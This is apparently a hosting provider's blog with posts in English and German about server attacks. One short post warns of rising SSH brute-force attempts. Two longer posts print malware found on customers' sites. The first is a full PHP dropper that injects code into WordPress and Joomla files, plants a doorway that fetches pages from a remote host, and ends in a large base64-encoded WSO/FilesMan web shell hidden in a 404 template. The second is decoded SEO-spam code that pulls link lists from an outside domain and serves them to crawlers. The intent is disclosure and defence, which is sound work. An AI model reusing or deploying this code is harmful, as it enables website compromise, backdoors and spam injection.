2014
01.30

Since new Year, the SSH-Attacks are increased.
Normally my 6 Servers has each Day 25-50 SSH-Attacks.

But the first Week, the Attacks going up to now min. 150 SSH-Attacks each Day:

ssh-anstieg

 

 

 

 

 

Other Poeple which does not block the IPs from the SSH-List (Export) seen the same increase too.

In hackforums . NET, other People say, he hacks over 1.000 Server over SSH and was not disabled by server4you for attacking other Servers. But when it right what he say, there is a lot of hacked Server online ūüôĀ

Please check and secure your Servers!

-google-ads-
2013
11.23

Wir haben ein Malware-Skript gefunden, welches f√ľr WordPress gebaut wurde.
Dieses liest aus der wp-config.php die MySQL-Zugangsdaten von WordPress aus und dann alle Einträge, welche öffentlich sind:

$query = "SELECT id, post_content FROM " . $db_prefix . "posts WHERE post_status='publish' ORDER BY id DESC";

Dazu versucht es bei Joomla automatisch index.php-Dateien aus /templates/ Code einzuf√ľgen:

$files_to_write = get_files($dir, "/templates\/.*\/index\.php/i");

Ebenso bei WordPress in die /themes/*/footer*.php und /themes/*/header*.php
Der eingef√ľgte Code beinhaltet eine PHP-Shell „FilesMan“/“WSO_VERSION“ der dann in die Dateien eingef√ľgt wird.

Hier einmal der komplete Code:

if(isset($_GET['pwd'])) {
// $table_prefix = 'wp_';
// define('DB_NAME', 'wordpress');
// define('DB_USER', 'root');
// define('DB_PASSWORD', 'qweasd123');
// define('DB_HOST', '127.0.0.1');
// define('DB_CHARSET', 'utf8');
// define('DB_COLLATE', '');

function get_files($dir = "." , $pattern = "/php/i"){

// RIGHT TO SEE DIR ????

$files = array();
if ($handle = opendir($dir)) {
while (false !== ($item = readdir($handle))) {
if (is_file("$dir/$item")) {

if (preg_match($pattern, "$dir/$item")) {
$files[] = "$dir/$item";
}

}
elseif (is_dir("$dir/$item") && ($item != ".") && ($item != "..")){
$files = array_merge($files, get_files("$dir/$item", $pattern));
}
}
closedir($handle);
}
return $files;

}

function write_content_to_new_file($file = "test.txt", $content = "test_14_content") {

if ( file_put_contents($file, $content) ) {} else {echo "ERROR: File isn't writeable: " . $file . "\n";}
}

$db_names = array();

// write_content_to_db('127.0.0.1', 'root', 'qweasd123', 'wordpress', 'wp_', $content_to_add);
function write_content_to_db($db_server, $db_login, $db_pass, $db_name, $db_prefix, $content) {

global $db_names;

if (in_array($db_name, $db_names)) {
echo "Db name: " . $db_name . " already writed.";
return true;
}

$link = mysql_connect($db_server, $db_login, $db_pass);

if (!$link) {
echo "ERROR: Could not connect: " . mysql_error() . "\n";
return false;
}
echo "Connected db successfully, db name:" . $db_name . " \n";

mysql_select_db($db_name);
$query = "SELECT id, post_content FROM " . $db_prefix . "posts WHERE post_status='publish' ORDER BY id DESC";
$result = mysql_query($query);

$row = mysql_fetch_assoc($result);

// echo $row["post_content"];

if ($row) {} else {
echo "ERROR: Rows not found \n";
return false;
}

for ($i=0; $i < 2; $i++) { $separate_place = rand(2, strlen( $row['post_content'] )-2 ); $first_part = substr( $row['post_content'], 0, $separate_place ); $second_part = substr( $row['post_content'], $separate_place ); $new_post = $first_part . $content . $second_part; $new_post = mysql_real_escape_string($new_post); $up_query = "UPDATE " . $db_prefix . "posts SET post_content = '" . $new_post . "' WHERE id = " . $row['id'] ; // echo "
" . $up_query . "
";
echo "Write to page id " . $row['id'] . "\n";
$up_result = mysql_query($up_query);
$row = mysql_fetch_assoc($result);
}

mysql_close($link);

$db_names[] = $db_name;

}

function parse_and_write_db($file = "test.txt", $content = "test_14_content") {
# code...
$content_to_add = "feeeeuccc";
$tmp_file_data = file_get_contents($file);

// $table_prefix = 'wp_';
// define('DB_NAME', 'wordpress');
// define('DB_USER', 'root');
// define('DB_PASSWORD', 'qweasd123');
// define('DB_HOST', '127.0.0.1');
// define('DB_CHARSET', 'utf8');
// define('DB_COLLATE', '');

// $_db_prefix = preg_replace("/.*table_prefix\s*=[\"']([^\"']+?)[\"'].*/is", "$1" , $tmp_file_data);
$_db_prefix = preg_replace("/.*table_prefix.*?[\"']([^\"']+?)[\"'].*/is", "$1" , $tmp_file_data);
$_db_name = preg_replace("/.*define.*?DB_NAME[\"'].*?[\"']([^\"']+?)[\"'].*/is", "$1" , $tmp_file_data);
$_db_user = preg_replace("/.*define.*?DB_USER[\"'].*?[\"']([^\"']+?)[\"'].*/is", "$1" , $tmp_file_data);
$_db_pass = preg_replace("/.*define.*?DB_PASSWORD[\"'].*?[\"']([^\"']+?)[\"'].*/is", "$1" , $tmp_file_data);
$_db_host = preg_replace("/.*define.*?DB_HOST[\"'].*?[\"']([^\"']+?)[\"'].*/is", "$1" , $tmp_file_data);

write_content_to_db($_db_host, $_db_user, $_db_pass, $_db_name, $_db_prefix, $content);

}

function write_content_to_begin($file = "test.txt", $content = "test_14_content") {

//check for already inj
$tmp_file_data = file_get_contents($file);
if ( (strpos($tmp_file_data, $content)) !== false ) {
echo "Already writed" . "\n";
return false;
}

$file_content = file_get_contents($file);
$content .= "\n";
$content .= $file_content;
if ( file_put_contents($file, $content) ) {} else {echo "ERROR: File isn't writeable: " . $file . "\n";}
}

function write_content_to_end($file = "test.txt", $content = "test_14_content") {

//check for already inj
$tmp_file_data = file_get_contents($file);
if ( (strpos($tmp_file_data, $content)) !== false ) {
echo "Already writed" . "\n";
return false;
}

$file_content = file_get_contents($file);
// $file_data = file_get_contents($file);
// $file_data .= "\n";
// $file_data .= $content;
$content = $file_content . "\n" . $content;
if ( file_put_contents($file, $content) ) {} else {echo "ERROR: File isn't writeable." . $file . "\n";}
}

function write_content_to_joomla($file = "test.txt", $content = "test_14_content") {

$i = 0;
$handle = @fopen($file, "r");
while (!feof($handle)) {

$text = fgets($handle);

if ( preg_match("/.*< \?php.*endif;.*/i" , $text ) ) { // echo "TRUE"; $i++; } } fclose($handle); //check for already inj $tmp_file_data = file_get_contents($file); if ( (strpos($tmp_file_data, $content)) !== false ) { echo "Already writed" . "\n"; return false; } $file_data = ""; $j = 0; $handle = @fopen($file, "r"); while (!feof($handle)) { $text = fgets($handle); $file_data .= $text; if ( preg_match("/.*<\?php.*endif;.*/i" , $text ) ) { // echo "TRUE"; $j++; if ($j == round($i/2)) { $file_data .= $content; } } } // end of while fclose($handle); if ( file_put_contents($file, $file_data) ) {} else {echo "ERROR: File isn't writeable." . $file . "\n";} } function echo_arr($arr) { foreach ($arr as $key => $value) {
echo "$key : $value" . "\n";
}
}

if ( isset($_GET['r']) ) {
$req = $_GET['r'];
} else {
$req = "";
}

if ($req == "status") {
echo "alive";
exit;
// echo "sss";
}

if ($req == "add") {

$cont = $_POST['c'];
// $cont = $_GET['c'];
$cont = str_replace("\\", "", $cont);
$dir = "../..";

// try joomla
$files_to_write = get_files($dir, "/templates\/.*\/index\.php/i");

//if joomla
if (count($files_to_write)>0) {

echo "JOOMLA" ."\n" ;
foreach ($files_to_write as $key => $value) {
write_content_to_joomla($value, $cont );
}
echo_arr($files_to_write);
}

// try WP db
// $files_to_write = get_files($dir, "/wp-config.php/i");

// if ( count($files_to_write) == 0 ) {

// $dir = "..";
// $files_to_write = get_files($dir, "/wp-config.php/i");

// }

// if (count($files_to_write)>0) {

// echo "FOUND WP DB files" ."\n" ;
// echo_arr($files_to_write);
// foreach ($files_to_write as $key => $value) {
// parse_and_write_db($value, $cont);
// }
// } else {
// // echo "ERROR: No files to write \n" ;
// }

// // exit; continue ??
// exit;

// try WP
$chance = rand(1,2);
// header
if ($chance == 1) {
$files_to_write = get_files($dir, "/themes\/.*\/header.*\.php/i");

if (count($files_to_write)>0) {
echo "WP" ."\n" ;
foreach ($files_to_write as $key => $value) {
write_content_to_end($value, $cont );
}
echo_arr($files_to_write);
}

}

// footer
if ($chance == 2) {
$files_to_write = get_files($dir, "/themes\/.*\/footer.*\.php/i");
if (count($files_to_write)>0) {
echo "WP" ."\n" ;
foreach ($files_to_write as $key => $value) {

write_content_to_begin($value, $cont );
}
echo_arr($files_to_write);
}
}

exit;

}

if ($req == "addd") {

echo "Try to add dor..." . "\n";

$durl = $_GET['c'];
$durl = str_replace("\\", "", $durl);

$dkey = "xxx";
$dkey = $_GET['k'];
$dkey = str_replace("\\", "", $dkey);

$dtype = "yes";
$dtype = $_GET['t'];
$dtype = str_replace("\\", "", $dtype);

$dkey = $_GET['k'];
$dkey = str_replace("\\", "", $dkey);

$dfile = "link.php";
$dir = "../../..";

$cont = '< ' . '?' . 'php $dor_dir = "' . $durl . '";' ; $cont .= 'function get_content2($URL){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $URL);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);$result = curl_exec($ch);if ( strpos($result, "Moved Permanently") !== false ) {$r_url = preg_replace("/^.*href\s*=\s*[\"\']([^\"\'>]+?)([\"\'>]+).*/is","$1",$result);header("Location: " . $r_url);exit;}curl_close($ch);return $result;}';

/*
$cont .= 'if(isset($_GET["xxx"])){$page_to_get=$_GET["xxx"];$dor_way=$dor_dir.$page_to_get.".html";$dor_content=get_content2($dor_way);$dor_content=preg_replace("#(< \s*a\s+[^>]*href\s*=\s*[\"\'])(?!http)([^\"\'>]+)(\.html)([\"\'>]+)#","$1".$_SERVER["SCRIPT_NAME"]."?xxx="."$2"."$4",$dor_content);$dor_content=preg_replace("#(< \s*?link\s+[^>]*.*?href\s*=\s*[\"\'])(.*?)(\.css)([\"\'].*)#","$1".$_SERVER["SCRIPT_NAME"]."?xcss="."$2"."$4",$dor_content);$dor_content=preg_replace("#(< \s*?script\s+[^>]*.*?src\s*=\s*[\"\'])(.*?)(\.js)([\"\'].*)#","$1".$_SERVER["SCRIPT_NAME"]."?xjs="."$2"."$4",$dor_content);echo $dor_content;die();}';
*/

if ($dtype=="yes") {
//htaccess version
$cont .= 'if(isset($_GET["' . $dkey . '"])){$page_to_get=$_GET["' . $dkey . '"];$dor_way=$dor_dir.$page_to_get.".html";$dor_content=get_content2($dor_way);$dor_content=preg_replace("#(< \s*a\s+[^>]*href\s*=\s*[\"\'])(?!http)([^\"\'>]+)(\.html)([\"\'>]+)#","$1" . "/' . $dkey. '/" . "$2" . "$4", $dor_content);$dor_content=preg_replace("#(< \s*?link\s+[^>]*.*?href\s*=\s*[\"\'])(.*?)(\.css)([\"\'].*)#","$1".$_SERVER["SCRIPT_NAME"]."?xcss="."$2"."$4",$dor_content);$dor_content=preg_replace("#(< \s*?script\s+[^>]*.*?src\s*=\s*[\"\'])(.*?)(\.js)([\"\'].*)#","$1".$_SERVER["SCRIPT_NAME"]."?xjs="."$2"."$4",$dor_content);echo $dor_content;die();}';
} else {
//No htaccess version
$cont .= 'if(isset($_GET["' . $dkey . '"])){$page_to_get=$_GET["' . $dkey . '"];$dor_way=$dor_dir.$page_to_get.".html";$dor_content=get_content2($dor_way);$dor_content=preg_replace("#(< \s*a\s+[^>]*href\s*=\s*[\"\'])(?!http)([^\"\'>]+)(\.html)([\"\'>]+)#","$1" . "?' . $dkey. '=" . "$2" . "$4", $dor_content);$dor_content=preg_replace("#(< \s*?link\s+[^>]*.*?href\s*=\s*[\"\'])(.*?)(\.css)([\"\'].*)#","$1".$_SERVER["SCRIPT_NAME"]."?xcss="."$2"."$4",$dor_content);$dor_content=preg_replace("#(< \s*?script\s+[^>]*.*?src\s*=\s*[\"\'])(.*?)(\.js)([\"\'].*)#","$1".$_SERVER["SCRIPT_NAME"]."?xjs="."$2"."$4",$dor_content);echo $dor_content;die();}';
}

$cont .= 'if(isset($_GET["xcss"])){$page_to_get=$_GET["xcss"];$dor_way=$dor_dir.$page_to_get.".css";header("Content-Type:text/css");$css_content=get_content2($dor_way);echo$css_content;die();}';
$cont .= 'if(isset($_GET["xjs"])){$page_to_get=$_GET["xjs"];$dor_way=$dor_dir.$page_to_get.".js";header("Content-Type:text/javascript");$css_content=get_content2($dor_way);echo$css_content;die();}';

$cont .= "?".">";

$ht_cont = "RewriteEngine on \n";
$ht_cont .= "RewriteBase / \n";
$ht_cont .= "RewriteRule ^". $dkey ."/(.*)$ index.php?" . $dkey . "=$1 [L] \n";

$files_to_check = get_files($dir, "/index\.php/i");

if ( count($files_to_check) == 0 ) {

$dir = "../..";
$files_to_check = get_files($dir, "/index\.php/i");

if ( count($files_to_check) == 0 ) {

$dir = "..";
$files_to_check = get_files($dir, "/index\.php/i");

}

}

echo "files to check: \n";
print_r($files_to_check);

$files_to_write = array();

foreach ($files_to_check as $key => $value) {
if ($file_cont = file_get_contents($value)) {
if (preg_match("/Front to the WordPress application/i", $file_cont)) {
$files_to_write[] = $value;
}
} else {
echo "Cant read file: " . $value . "\n";
}
}

if ( count($files_to_write) == 0 ) {
echo "ERROR: No files to write \n" ;
}

foreach ($files_to_write as $key => $value) {
echo "Try write to file: " . $value . "\n";
write_content_to_begin($value, $cont);

//htaccess write
echo "Try write to file: " . str_replace("index.php", ".htaccess", $value) . "\n";
write_content_to_begin(str_replace("index.php", ".htaccess", $value), $ht_cont);

}

exit;

}

eval(base64" - replace ist with _"decode("CiRhdXRoX3Bhc3MgPSAiN2U5NDI0YmZhMTJkMWYyYWQzMjQ2M2FjMWE4MGU0MDciOyAjIHRlc3QKJGNvbG9yID0gIiNkZjUiOwokZGVmYXVsdF9hY3Rpb24gPSAnRmlsZXNNYW4nOwokZGVmYXVsdF91c2VfYWpheCA9IHRydWU7CiRkZWZhdWx0X2NoYXJzZXQgPSAnV2luZG93cy0xMjUxJzsKCmlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CiAgICAkdXNlckFnZW50cyA9IGFycmF5KCJHb29nbGUiLCAiU2x1cnAiLCAiTVNOQm90IiwgImlhX2FyY2hpdmVyIiwgIllhbmRleCIsICJSYW1ibGVyIik7CiAgICBpZihwcmVnX21hdGNoKCcvJyAuIGltcGxvZGUoJ3wnLCAkdXNlckFnZW50cykgLiAnL2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CiAgICAgICAgaGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7CiAgICAgICAgZXhpdDsKICAgIH0KfQoKQGluaV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2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7CiAgICAgICAgICAgICAgICBlY2hvICc8YnI+JzsKICAgICAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkdXNlcmZ1bCBhcyAkaXRlbSkKICAgICAgICAgICAgICAgICAgICBpZih3c29XaGljaCgkaXRlbSkpCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsKICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdVc2VyZnVsJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7CiAgICAgICAgICAgICAgICAkdGVtcD1hcnJheSgpOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGRhbmdlciBhcyAkaXRlbSkKICAgICAgICAgICAgICAgICAgICBpZih3c29XaGljaCgkaXRlbSkpCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsKICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdEYW5nZXInLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKICAgICAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZG93bmxvYWRlcnMgYXMgJGl0ZW0pCiAgICAgICAgICAgICAgICAgICAgaWYod3NvV2hpY2goJGl0ZW0pKQogICAgICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJGl0ZW07CiAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnRG93bmxvYWRlcnMnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKICAgICAgICAgICAgICAgIGVjaG8gJzxici8+JzsKICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdIREQgc3BhY2UnLCB3c29FeCgnZGYgLWgnKSk7CiAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnSG9zdHMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKSk7CiAgICAgICAgICAgICAgICBlY2hvICc8YnIvPjxzcGFuPnBvc2l4X2dldHB3dWlkICgiUmVhZCIgL2V0Yy9wYXNzd2QpPC9zcGFuPjx0YWJsZT48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI1Iix0aGlzLnBhcmFtMS52YWx1ZSx0aGlzLnBhcmFtMi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjx0cj48dGQ+RnJvbTwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTEgdmFsdWU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UbzwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTIgdmFsdWU9MTAwMD48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgICAgICAgICAgICAgIGlmIChpc3NldCAoJF9QT1NUWydwMiddLCAkX1BPU1RbJ3AzJ10pICYmIGlzX251bWVyaWMoJF9QT1NUWydwMiddKSAmJiBpc19udW1lcmljKCRfUE9TVFsncDMnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkdGVtcCA9ICIiOwogICAgICAgICAgICAgICAgICAgIGZvcig7JF9QT1NUWydwMiddIDw9ICRfUE9TVFsncDMnXTskX1BPU1RbJ3AyJ10rKykgewogICAgICAgICAgICAgICAgICAgICAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKCRfUE9TVFsncDInXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdWlkKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXAgLj0gam9pbignOicsJHVpZCkuIlxuIjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGJyLz4nOwogICAgICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdVc2VycycsICR0ZW1wKTsKIC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Q09PS0lFWydhY3QnXSA9PSAnemlwJykgewoJCQkJCWlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHppcC0+b3BlbigkX1BPU1RbJ3AyJ10sIDEpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkX0NPT0tJRVsnYyddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9DT09LSUVbJ2YnXSBhcyAkZikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09ICcuLicpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKEBpc19maWxlKCRfQ09PS0lFWydjJ10uJGYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKCRfQ09PS0lFWydjJ10uJGYsICRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoQGlzX2RpcigkX0NPT0tJRVsnYyddLiRmKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGYuJy8nLCBGaWxlc3lzdGVtSXRlcmF0b3I6OlNLSVBfRE9UUykpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkaXRlcmF0b3IgYXMgJGtleT0+JHZhbHVlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKHJlYWxwYXRoKCRrZXkpLCAka2V5KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQoJCQkJfSBlbHNlaWYoJF9DT09LSUVbJ2FjdCddID09ICd1bnppcCcpIHsKCQkJCQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkemlwLT5vcGVuKCRfQ09PS0lFWydjJ10uJGYpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+ZXh0cmFjdFRvKCRHTE9CQUxTWydjd2QnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAndGFyJykgewogICAgICAgICAgICAgICAgICAgIGNoZGlyKCRfQ09PS0lFWydjJ10pOwogICAgICAgICAgICAgICAgICAgICRfQ09PS0lFWydmJ10gPSBhcnJheV9tYXAoJ2VzY2FwZXNoZWxsYXJnJywgJF9DT09LSUVbJ2YnXSk7CiAgICAgICAgICAgICAgICAgICAgd3NvRXgoJ3RhciBjZnp2ICcgLiBlc2NhcGVzaGVsbGFyZygkX1BPU1RbJ3Ay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ICAgICAgICAkaSA9IDA7CiAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSB0cnVlOwoJCQkJCXdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICcnOwogICAgICAgICAgICAgICAgICAgICAgICBpZigkaSAlIDEwMDAgPT0gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICI7XG5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KCgkJCQkJCSRjb2x1bW5zID0gYXJyYXkoKTsKCQkJCQkJZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR2ID09PSBudWxsKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICJOVUxMIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihpc19pbnQoJHYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICR2OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICInIi5AbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KS4iJyI7CgkJCQkJCQkkY29sdW1uc1tdID0gImAiLiRrLiJgIjsKCQkJCQkJfQogICAgICAgICAgICAgICAgICAgICAgICBpZigkaGVhZCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCAuPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLiIpIFZBTFVFUyBcblx0KCIuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyknOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSBmYWx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V2YWwoJF9QT1NUWydwMSddKTsKCX0KfQppZiggZW1wdHkoJF9QT1NUWydhJ10pICkKCWlmKGlzc2V0KCRkZWZhdWx0X2FjdGlvbikgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJGRlZmF1bHRfYWN0aW9uKSkKCQkkX1BPU1RbJ2EnXSA9ICRkZWZhdWx0X2FjdGlvbjsKCWVsc2UKCQkkX1BPU1RbJ2EnXSA9ICdTZWNJbmZvJzsKaWYoICFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pICkKCWNhbGxfdXNlcl9mdW5jKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pOwpleGl0Owo="));

} else {
?>
< ?php /** * * 404.php * * The template for displaying 404 pages (Not Found). * Used when WordPress cannot find a post or page that matches the query. * * To change the error message: * 1. Open functions.php file * 2. Find the theme_404_content() function * 3. Change the error_message variable value * * Additional settings are available under the Appearance -> Theme Options -> Pages.
*
*/
get_header(); ?>
< ?php get_sidebar('top'); ?>
< ?php theme_404_content(); ?>
< ?php get_sidebar('bottom'); ?>
< ?php get_footer(); ?>
< ?php } ?>

-google-ads-
2013
11.22

Today, one Customer was hacked again and need some help.

So we found the infected File with the following Malware-Code:

eval(@gzinflate(base64_decode('xxx')));

decoded, the Code was:

preg_replace("/.+/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'xVdbc......iIf8A'\x29\x29\x29\x3B",".");

this in plain text is:

preg_replace("/.+/","eval(gzinflate(base64_decode('xVdbc+I..../SGl5PP8NgxjeEQXjwiIf8A')));",".");

and this decoded is:


h5('http://mycompanyeye.com/bulbozavr/gog8/13.list', 1 * 900);
function h5($u, $t){
$nobot = isset($_REQUEST['nobot']) ? true : false;
$debug = isset($_REQUEST['debug']) ? true : false;
$t2    = 3600 * 5;
$t3    = 3600 * 12;
$droot = getpasekaroot();
$tm    = (!@ini_get('upload_tmp_dir')) ? '/tmp/' : @ini_get('upload_tmp_dir');
if (!$tmp = triksp(array($tm, $droot.'images/avatars/', $droot.'tmp/', $droot.'cache/'))) {
if ($debug) {
echo('DEBUG: (ERROR: temporary path not found, return)<br>' . "
");
}
return;
}
$agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
if ($debug) {
echo('DEBUG: (INFO: temporary path=' . $tmp . ')<br>, agent ('.$agent.')' . "
");
}
if (!preg_match('%(http|curl|google|yahoo|yandex|ya|bing|bot|crawl|lynx|SiteUptime|Spider|ia_archiver|AOL|slurp|msn)%i', $agent, $ret)) {
if ($debug) {
echo('DEBUG: (ERROR: you is not spider, return)<br>'."
");
}
return;
}
if ($debug) {
echo('DEBUG: (bot by:['.$ret[1].'])<br>'."
");
}

if ($t) {
if ($debug) {
if (file_exists($tmp . md5($u) . 'c')) {
echo('DEBUG: (INFO: link file exists=' . $tmp . md5($u) . 'c)<br>' . "
");
$filemtime = filemtime($tmp . md5($u) . 'c');
$current   = time();
$diff      = $current - $filemtime;
echo('DEBUG: (TIME: current=' . $current . ', filemtime=' . $filemtime . ', different=' . $diff . ', cache_time=' . $t . ')<br>' . "
");
if ($diff < $t) {
echo('DEBUG: (INFO: USING CACHE LINK FILE<br>' . "
");
} else {
echo('DEBUG: (INFO: DOWNLOAD NEW LINK FILE<br>' . "
");
}
}
}
if (file_exists($tmp . md5($u . 'c')) && (time() - filemtime($tmp . md5($u . 'c'))) < $t) {
readfile($tmp . md5($u . 'c'));
if ($debug) {
echo('DEBUG: (END: readfile link, return)<br>' . "
");
}
return;
}
}
if ($debug) {
if (file_exists($tmp . md5($u))) {
echo('DEBUG: (INFO: lists file exists=' . $tmp . md5($u) . ')<br>' . "
");
$filemtime = filemtime($tmp . md5($u));
$current   = time();
$diff      = $current - $filemtime;
echo('DEBUG: (TIME: current=' . $current . ', filemtime=' . $filemtime . ', different=' . $diff . ', cache_time=' . $t3 . ')<br>' . "
");
if ($diff < $t3) {
echo('DEBUG: (INFO: USING CACHE LIST FILE<br>' . "
");
} else {
echo('DEBUG: (INFO: DOWNLOAD NEW LIST FILE<br>' . "
");
}
}
}
if (file_exists($tmp . md5($u)) && (time() - filemtime($tmp . md5($u))) < $t3) {
$d = file($tmp . md5($u));
} else {
$c = curl_init($u);
if (!$c) {
if ($debug) {
echo('DEBUG: (ERROR: curl(list) not init, return)<br>' . "
");
}
return;
}
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$d = curl_exec($c);
$l = curl_getinfo($c);
curl_close($c);
if ($l['http_code'] == 200 && $d) {
@file_put_contents($tmp . md5($u), $d);
$d = explode("
", $d);
}
}
if ($debug) {
echo('DEBUG: (INFO: size list_array=' . sizeof($d) . ')<br>' . "
");
}
if ($d) {
$l = @array_rand($d);
$c = @curl_init(trim($d[$l]));
if (!$c) {
if ($debug) {
echo('DEBUG: (ERROR: curl(link) not init, return)<br>' . "
");
}
return;
}
if ($t) {
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
}
$d = curl_exec($c);
if ($t) {
if ($debug) {
echo('DEBUG: (INFO: link download)<br>' . "
");
}
